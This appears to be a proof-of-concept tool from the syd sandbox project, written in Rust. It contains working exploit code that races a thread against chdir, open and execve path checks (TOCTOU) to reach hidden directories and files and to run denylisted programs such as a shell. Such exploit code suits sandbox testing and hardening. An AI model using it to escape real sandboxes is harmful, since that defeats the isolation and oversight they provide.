#![allow(clippy::disallowed_types)]
use std::{
env::{args_os, current_exe, set_var, var_os},
ffi::{CString, OsString},
fs::{remove_file, File},
io::Write,
os::{
fd::{AsRawFd, FromRawFd, OwnedFd},
unix::{ffi::OsStrExt, process::CommandExt},
},
path::PathBuf,
process::{Command, ExitCode},
time::{Duration, Instant},
};
use nix::{
errno::Errno,
fcntl::readlink,
libc::{pthread_create, pthread_join, pthread_t},
sys::stat::{fchmod, Mode},
unistd::{getcwd, getpid, Pid},
};
use syd::{
config::*,
err::{err2no, SydResult},
path::XPathBuf,
};
syd::main! {
use lexopt::prelude::*;
syd::set_sigpipe_dfl()?;
let mut opt_cmd = None;
let mut opt_arg = Vec::new();
let mut parser = lexopt::Parser::from_env();
while let Some(arg) = parser.next()? {
match arg {
Short('h') => {
help();
return Ok(ExitCode::SUCCESS);
}
Value(prog) => {
opt_cmd = Some(prog.to_str().map(String::from).ok_or(Errno::EINVAL)?);
opt_arg.extend(parser.raw_args()?);
}
_ => return Err(arg.unexpected().into()),
}
}
match opt_cmd.as_deref() {
None | Some("h" | "he" | "hel" | "help") => {
help();
Ok(ExitCode::SUCCESS)
}
Some("c" | "cd" | "chdir" | "dir") => cmd_cd(opt_arg),
Some("p" | "pa" | "pat" | "path") => cmd_path(opt_arg),
Some("e" | "x" | "ex" | "exe" | "exec") => cmd_exec(opt_arg),
Some(cmd) => {
eprintln!("syd-poc: Unknown subcommand {cmd}!");
Ok(ExitCode::FAILURE)
}
}
}
fn help() {
println!("Usage: syd-poc [-h] [command] [args...]");
println!("POC||GTFO! Demonstrate various sandbox break vectors.");
println!("\nCommands:");
println!("\t- cd\tChdir into a hidden directory utilising pointer TOCTOU.");
println!("\t- path\tProve existence of a hidden file utilising pointer TOCTOU.");
println!("\t- exec\tExecute a denylisted file utilising pointer TOCTOU.");
println!("\nDo \"syd-poc command -h\" for more information on a specific subcommand.");
}
fn help_cd() {
println!("Usage syd-poc cd [-hsS] [-b benign-dir] [-t timeout] [dir] [command] [args...]");
println!(
"Chdir into a hidden directory and execute the given command with the given arguments."
);
println!("Method of attack is pointer modification on the chdir(2) system call making use of TOCTOU.");
println!(
"Default benign directory is /var/empty, specify an alternate path with \"-b benign-dir\"."
);
println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}
fn help_path() {
println!("Usage syd-poc path [-hsS] [-b benign-file] [-t timeout] [file] [command] [args...]");
println!("Prove existence of a hidden file utilizing pointer TOCTOU and pass the file descriptor to the command.");
println!("Method of attack is pointer modification on the open(2) system call with O_PATH flag making use of TOCTOU.");
println!(
"Default benign file is /dev/null, specify an alternate path with \"-b benign-file\"."
);
println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}
fn help_exec() {
println!("Usage syd-poc exec [-hsS] [-t timeout] {{[executable] [args...]}}");
println!("Execute a denylisted file utilising pointer TOCTOU.");
println!("Method of attack is pointer modification on the execve(2) system call making use of TOCTOU.");
println!("Expects the directory /tmp is allowlisted for exec.");
println!("Target executable defaults to /bin/sh.");
println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}
fn cmd_cd(args: Vec<OsString>) -> SydResult<ExitCode> {
use lexopt::prelude::*;
let mut opt_src = "/proc/self/root/var/empty".to_string();
let mut opt_dir = None;
let mut opt_cmd = var_os(ENV_SH).unwrap_or(OsString::from(SYD_SH));
let mut opt_arg = Vec::new();
let mut opt_check_strace = true;
let mut opt_force_strace = false;
let mut opt_tmout = None;
let mut parser = lexopt::Parser::from_args(&args);
while let Some(arg) = parser.next()? {
match arg {
Short('h') => {
help_cd();
return Ok(ExitCode::SUCCESS);
}
Short('b') => opt_src = parser.value()?.parse()?,
Short('s') => opt_force_strace = true,
Short('S') => {
opt_check_strace = false;
opt_force_strace = false;
}
Short('t') => {
opt_tmout = Some(parser.value()?.parse::<u64>().map(Duration::from_secs)?)
}
Value(dir) if opt_dir.is_none() => {
opt_dir = Some(dir.to_str().map(String::from).ok_or(Errno::EINVAL)?)
}
Value(prog) => {
opt_cmd = prog;
opt_arg.extend(parser.raw_args()?);
}
_ => return Err(arg.unexpected().into()),
}
}
let dir = if let Some(dir) = opt_dir {
dir
} else {
help_cd();
return Ok(ExitCode::FAILURE);
};
if var_os("SYD_POC_PTRACE").is_none()
&& (opt_force_strace || (opt_check_strace && strace_chdir(&opt_src)))
{
set_var("SYD_POC_PTRACE", "NoThanks");
return Ok(ExitCode::from(
strace_chdir_reexec().raw_os_error().unwrap_or(127) as u8,
));
}
eprintln!("[*] Starting chdir(2) pointer modification TOCTOU attack...");
eprintln!("[*] Benign directory: {opt_src}");
eprintln!("[*] Target directory: {dir}");
if let Some(tmout) = opt_tmout {
eprintln!("[*] Attack timeout is {} seconds.", tmout.as_secs());
} else {
eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
}
let mut attempts = 0;
let mut tlast = Instant::now();
let epoch = tlast;
loop {
attempts += 1;
if toctou_cd_poc(&opt_src, &dir) {
eprintln!("[!] TOCTOU attack succeeded after {attempts} attempts!");
eprintln!("[!] Current directory was unexpectedly changed!");
break;
}
let now = Instant::now();
if let Some(tmout) = opt_tmout {
if now.duration_since(epoch) >= tmout {
eprintln!("[?] Timeout reached after {attempts} attempts.");
eprintln!("[?] Try increasing timeout with \"-t timeout\".");
return Ok(ExitCode::FAILURE);
}
}
if now.duration_since(tlast).as_secs() >= 10 {
eprintln!("[*] Still trying... {attempts} attempts so far.");
tlast = now;
}
}
eprintln!("[*] Executing command in the denylisted directory...");
let error = Command::new(opt_cmd).args(opt_arg).exec();
Ok(ExitCode::from(error.raw_os_error().unwrap_or(127) as u8))
}
fn cmd_path(args: Vec<OsString>) -> SydResult<ExitCode> {
use lexopt::prelude::*;
let mut opt_dst = None;
let mut opt_src = "/proc/self/root/dev/null".to_string();
let mut opt_cmd = var_os(ENV_SH).unwrap_or(OsString::from(SYD_SH));
let mut opt_arg = Vec::new();
let mut opt_check_strace = true;
let mut opt_force_strace = false;
let mut opt_tmout = None;
let mut parser = lexopt::Parser::from_args(&args);
while let Some(arg) = parser.next()? {
match arg {
Short('h') => {
help_path();
return Ok(ExitCode::SUCCESS);
}
Short('b') => opt_src = parser.value()?.parse()?,
Short('s') => opt_force_strace = true,
Short('S') => {
opt_check_strace = false;
opt_force_strace = false;
}
Short('t') => {
opt_tmout = Some(parser.value()?.parse::<u64>().map(Duration::from_secs)?)
}
Value(dst) if opt_dst.is_none() => {
opt_dst = Some(dst.to_str().map(String::from).ok_or(Errno::EINVAL)?)
}
Value(prog) => {
opt_cmd = prog;
opt_arg.extend(parser.raw_args()?);
}
_ => return Err(arg.unexpected().into()),
}
}
let dst = if let Some(dst) = opt_dst {
dst
} else {
help_path();
return Ok(ExitCode::FAILURE);
};
if var_os("SYD_POC_PTRACE").is_none()
&& (opt_force_strace || (opt_check_strace && strace_path()))
{
set_var("SYD_POC_PTRACE", "NoThanks");
return Ok(ExitCode::from(
strace_path_reexec().raw_os_error().unwrap_or(127) as u8,
));
}
eprintln!("[*] Starting open(2) O_PATH pointer modification TOCTOU attack...");
eprintln!("[*] Benign file: {opt_src}");
eprintln!("[*] Target file: {dst}");
if let Some(tmout) = opt_tmout {
eprintln!("[*] Attack timeout is {} seconds.", tmout.as_secs());
} else {
eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
}
let pid = getpid();
let targetfd;
let mut attempts = 0;
let mut tlast = Instant::now();
let epoch = tlast;
loop {
attempts += 1;
if let Some(fd) = toctou_path_poc(pid, &opt_src, &dst) {
eprintln!("[!] TOCTOU attack succeeded after {attempts} attempts!");
eprintln!("[!] Target path {dst} is known to exist!");
eprintln!(
"[*] Passing file descriptor {} to the command...",
fd.as_raw_fd()
);
targetfd = Some(fd);
break;
}
let now = Instant::now();
if let Some(tmout) = opt_tmout {
if now.duration_since(epoch) >= tmout {
eprintln!("[?] Timeout reached after {attempts} attempts.");
eprintln!("[?] Try increasing timeout with \"-t timeout\".");
return Ok(ExitCode::FAILURE);
}
}
if now.duration_since(tlast).as_secs() >= 10 {
eprintln!("[*] Still trying... {attempts} attempts so far.");
tlast = now;
}
}
eprintln!("[*] Executing command with target FD {targetfd:?}...");
let error = Command::new(opt_cmd).args(opt_arg).exec();
Ok(ExitCode::from(error.raw_os_error().unwrap_or(127) as u8))
}
fn cmd_exec(args: Vec<OsString>) -> SydResult<ExitCode> {
use lexopt::prelude::*;
let mut opt_check_strace = true;
let mut opt_force_strace = false;
let mut opt_tmout = None;
let mut opt_argv = vec![var_os(ENV_SH).unwrap_or(OsString::from(SYD_SH))];
let mut parser = lexopt::Parser::from_args(&args);
while let Some(arg) = parser.next()? {
match arg {
Short('h') => {
help_exec();
return Ok(ExitCode::SUCCESS);
}
Short('s') => opt_force_strace = true,
Short('S') => {
opt_check_strace = false;
opt_force_strace = false;
}
Short('t') => {
opt_tmout = Some(parser.value()?.parse::<u64>().map(Duration::from_secs)?)
}
Value(prog) => {
opt_argv.clear();
opt_argv.push(prog);
opt_argv.extend(parser.raw_args()?);
}
_ => return Err(arg.unexpected().into()),
}
}
let src = create_random_script()?;
if var_os("SYD_POC_PTRACE").is_none()
&& (opt_force_strace || (opt_check_strace && strace_exec()))
{
set_var("SYD_POC_PTRACE", "NoThanks");
return Ok(ExitCode::from(
strace_exec_reexec().raw_os_error().unwrap_or(127) as u8,
));
}
eprintln!("[*] Starting execve(2) pointer modification TOCTOU attack...");
eprintln!("[*] Benign executable: {src}");
eprintln!(
"[*] Target executable: {}",
XPathBuf::from(opt_argv[0].clone())
);
if let Some(tmout) = opt_tmout {
eprintln!("[*] Attack timeout is {} seconds.", tmout.as_secs());
} else {
eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
}
let mut attempts = 0;
let mut tlast = Instant::now();
let epoch = tlast;
loop {
attempts += 1;
if toctou_exec_poc(&src, &opt_argv) {
let _ = remove_file(src);
break;
}
let now = Instant::now();
if let Some(tmout) = opt_tmout {
if now.duration_since(epoch) >= tmout {
eprintln!("[?] Timeout reached after {attempts} attempts.");
eprintln!("[?] Try increasing timeout with \"-t timeout\".");
let _ = remove_file(src);
return Ok(ExitCode::FAILURE);
}
}
if now.duration_since(tlast).as_secs() >= 10 {
eprintln!("[*] Still trying... {attempts} attempts so far.");
tlast = now;
}
}
Ok(ExitCode::SUCCESS)
}
#[repr(C)]
struct Data {
ptr: *mut nix::libc::c_void,
src: CString,
}
#[expect(clippy::disallowed_methods)]
fn toctou_cd_poc(benign_dir: &str, target_dir: &str) -> bool {
let benign_path = CString::new(benign_dir).unwrap();
let ptr = benign_path.into_raw();
let dir = CString::new(target_dir).expect("invalid directory");
let mut thread: pthread_t = unsafe { std::mem::zeroed() };
let data = Box::new(Data {
ptr: ptr as *mut nix::libc::c_void,
src: dir.clone(),
});
let data = Box::into_raw(data);
unsafe {
pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);
nix::libc::chdir(ptr as *const nix::libc::c_char);
pthread_join(thread, std::ptr::null_mut());
let _ = Box::from_raw(data);
let _ = Box::from_raw(ptr);
}
let cwd = getcwd().expect("getcwd");
cwd.as_os_str().as_bytes() == dir.as_bytes()
}
#[expect(clippy::disallowed_methods)]
fn toctou_path_poc(pid: Pid, benign_file: &str, target_file: &str) -> Option<OwnedFd> {
let benign_path = CString::new(benign_file).unwrap();
let ptr = benign_path.into_raw();
let file = CString::new(target_file).expect("invalid file");
let mut thread: pthread_t = unsafe { std::mem::zeroed() };
let data = Box::new(Data {
ptr: ptr as *mut nix::libc::c_void,
src: file.clone(),
});
let data = Box::into_raw(data);
let fd = unsafe {
pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);
let fd = nix::libc::open(ptr as *const nix::libc::c_char, nix::libc::O_PATH);
pthread_join(thread, std::ptr::null_mut());
let _ = Box::from_raw(data);
let _ = Box::from_raw(ptr);
if fd == -1 {
return None;
}
OwnedFd::from_raw_fd(fd)
};
let mut buf0 = itoa::Buffer::new();
let mut buf1 = itoa::Buffer::new();
let mut proc = PathBuf::from("/proc");
proc.push(buf0.format(pid.as_raw()));
proc.push("fd");
proc.push(buf1.format(fd.as_raw_fd()));
let path = readlink(&proc).expect("readlink /proc/pid/fd");
if path.as_os_str().as_bytes() == file.as_bytes() {
return Some(fd);
}
None
}
fn strace_chdir(dir: &str) -> bool {
eprintln!("[*] Auto-detecting strace...");
let mut cmd = Command::new("timeout");
let cmd = cmd
.arg("5s")
.arg("strace")
.arg("-o/dev/null")
.arg("-f")
.arg("-echdir")
.arg("-qq")
.arg("--")
.arg("sh")
.arg("-xc")
.arg(format!("cd {dir}"));
eprintln!("[*] Attempting to run strace: {cmd:?}");
match cmd.status() {
Ok(status) if status.success() => {
eprintln!("[!] strace is available, let's use it!");
true
}
_ => {
eprintln!("[?] strace is not available, continuing without.");
false
}
}
}
#[expect(clippy::disallowed_methods)]
fn toctou_exec_poc(benign_executable: &str, argv: &[OsString]) -> bool {
let benign_path = CString::new(benign_executable).unwrap();
let ptr = benign_path.into_raw();
let file = CString::new(argv[0].as_bytes()).expect("invalid file");
let mut thread: pthread_t = unsafe { std::mem::zeroed() };
let data = Box::new(Data {
ptr: ptr as *mut nix::libc::c_void,
src: file.clone(),
});
let data = Box::into_raw(data);
unsafe {
pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);
let c_argv: Vec<CString> = argv
.iter()
.map(|arg| CString::new(arg.as_bytes()).unwrap())
.collect();
let mut c_argv: Vec<*const nix::libc::c_char> =
c_argv.iter().map(|arg| arg.as_ptr()).collect();
c_argv.push(std::ptr::null());
nix::libc::execve(
ptr as *const nix::libc::c_char,
c_argv.as_ptr(),
std::ptr::null(),
);
pthread_join(thread, std::ptr::null_mut());
let _ = Box::from_raw(data);
let _ = Box::from_raw(ptr);
}
false
}
#[expect(clippy::disallowed_methods)]
fn strace_chdir_reexec() -> std::io::Error {
let exe = current_exe().expect("current exe");
let arg: Vec<OsString> = args_os().skip(1).collect();
let mut cmd = Command::new("strace");
let cmd = cmd
.arg("-f")
.arg("-echdir")
.arg("-qq")
.arg("--")
.arg(exe)
.args(&arg);
eprintln!("[*] Executing test under strace: {cmd:?}");
cmd.exec()
}
fn strace_path() -> bool {
eprintln!("[*] Auto-detecting strace...");
let mut cmd = Command::new("timeout");
let cmd = cmd
.arg("5s")
.arg("strace")
.arg("-o/dev/null")
.arg("-f")
.arg("-qq")
.arg("-eopen")
.arg("--")
.arg("sh")
.arg("-xc")
.arg("cat /dev/null > /dev/null");
eprintln!("[*] Attempting to run strace: {cmd:?}");
match cmd.status() {
Ok(status) if status.success() => {
eprintln!("[!] strace is available, let's use it!");
true
}
_ => {
eprintln!("[?] strace is not available, continuing without.");
false
}
}
}
#[expect(clippy::disallowed_methods)]
fn strace_path_reexec() -> std::io::Error {
let exe = current_exe().expect("current exe");
let arg: Vec<OsString> = args_os().skip(1).collect();
let mut cmd = Command::new("strace");
let cmd = cmd
.arg("-f")
.arg("-qq")
.arg("-eopen")
.arg("--")
.arg(exe)
.args(&arg);
eprintln!("[*] Executing test under strace: {cmd:?}");
cmd.exec()
}
fn strace_exec() -> bool {
eprintln!("[*] Auto-detecting strace...");
let mut cmd = Command::new("timeout");
let cmd = cmd
.arg("5s")
.arg("strace")
.arg("-o/dev/null")
.arg("-f")
.arg("-qq")
.arg("-eexecve")
.arg("--")
.arg("/bin/true");
eprintln!("[*] Attempting to run strace: {cmd:?}");
match cmd.status() {
Ok(status) if status.success() => {
eprintln!("[!] strace is available, let's use it!");
true
}
_ => {
eprintln!("[?] strace is not available, continuing without.");
false
}
}
}
#[expect(clippy::disallowed_methods)]
fn strace_exec_reexec() -> std::io::Error {
let exe = current_exe().expect("current exe");
let arg: Vec<OsString> = args_os().skip(1).collect();
let mut cmd = Command::new("strace");
let cmd = cmd
.arg("-f")
.arg("-qq")
.arg("-eexecve")
.arg("--")
.arg(exe)
.args(&arg);
eprintln!("[*] Executing test under strace: {cmd:?}");
cmd.exec()
}
#[expect(clippy::disallowed_methods)]
fn create_random_script() -> Result<String, Errno> {
let mut buf: [u8; 8] = [0; 8];
if unsafe {
nix::libc::getrandom(
buf.as_mut_ptr() as *mut _,
buf.len(),
nix::libc::GRND_RANDOM,
)
} == -1
{
return Err(Errno::last());
}
let filename: String = format!(
"/tmp/syd_poc_{:x}{:x}",
u64::from_ne_bytes(buf[0..8].try_into().unwrap()),
u64::from_ne_bytes(buf[0..8].try_into().unwrap())
);
let mut file = File::create(&filename).map_err(|e| err2no(&e))?;
file.write_all(b"#!/dev/null\ntrue\n")
.map_err(|e| err2no(&e))?;
fchmod(file, Mode::S_IRWXU)?;
Ok(filename)
}
extern "C" fn modify_ptr(ptr: *mut nix::libc::c_void) -> *mut nix::libc::c_void {
let data = unsafe { &mut *(ptr as *mut Data) };
let bit = data.src.as_bytes_with_nul();
let len = bit.len();
let src = bit.as_ptr();
let ptr = data.ptr as *mut i8;
for _ in 0..10_000 {
unsafe { ptr.copy_from_nonoverlapping(src as *const _, len) };
}
std::ptr::null_mut()
}